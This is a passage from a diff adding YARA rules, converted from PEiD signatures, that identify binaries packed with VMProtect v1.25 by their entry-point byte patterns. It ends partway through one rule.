+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02904_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02905_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02906_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02907_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02908_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02909_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02910_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02911_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a
+}
+
+rule PEiD_02912_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02913_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02914_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02915_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02916_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02917_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02918_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02919_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02920_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02921_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02922_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02923_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a
+}
+rule PEiD_02924_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a
+}
+
+rule PEiD_02925_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02926_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02927_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02928_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02929_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02930_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02931_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02932_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a
+}
+
+rule PEiD_02933_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02934_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02935_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02936_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02937_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02938_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02939_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02940_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02941_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02942_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02943_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02944_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02945_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a
+}
+
+rule PEiD_02946_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02947_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02948_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02949_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02950_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02951_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02952_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02953_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02954_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02955_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02956_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02957_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02958_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02959_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02960_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02961_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02962_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02963_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02964_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_02965_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02966_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02967_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_02968_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02969_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02970_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02971_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02972_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+    condition:
+        $a
+}
+rule PEiD_02973_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02974_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02975_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02976_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_02977_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02978_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02979_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02980_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_02981_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02982_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_02983_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02984_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+    condition:
+        $a
+}
+rule PEiD_02985_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02986_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02987_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02988_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02989_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
